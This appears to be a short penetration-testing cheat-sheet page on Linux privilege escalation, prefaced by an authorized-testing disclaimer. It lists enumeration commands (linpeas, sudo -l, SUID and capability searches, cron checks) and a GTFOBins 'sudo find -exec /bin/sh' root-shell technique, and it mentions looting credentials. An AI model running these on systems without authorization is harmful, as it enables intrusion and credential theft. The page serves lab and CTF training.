Linux Privilege Escalation

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

After landing a low-privileged shell, privilege escalation turns it into root. Start with automated enumeration, then chase the findings.

#Enumerate

./linpeas.sh | tee linpeas.txt        # automated, colour-coded findings
id; sudo -l                            # what can I run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
getcap -r / 2>/dev/null                # capabilities
crontab -l; cat /etc/crontab           # scheduled jobs
uname -a                               # kernel (last resort exploits)

#Common vectors

#GTFOBins example

If find has SUID or is allowed via sudo:

sudo find . -exec /bin/sh \; -quit     # → root shell

Method: enumerate → identify the one misconfig → exploit. Don't kernel-exploit first. Loot creds for lateral movement and Password Cracking.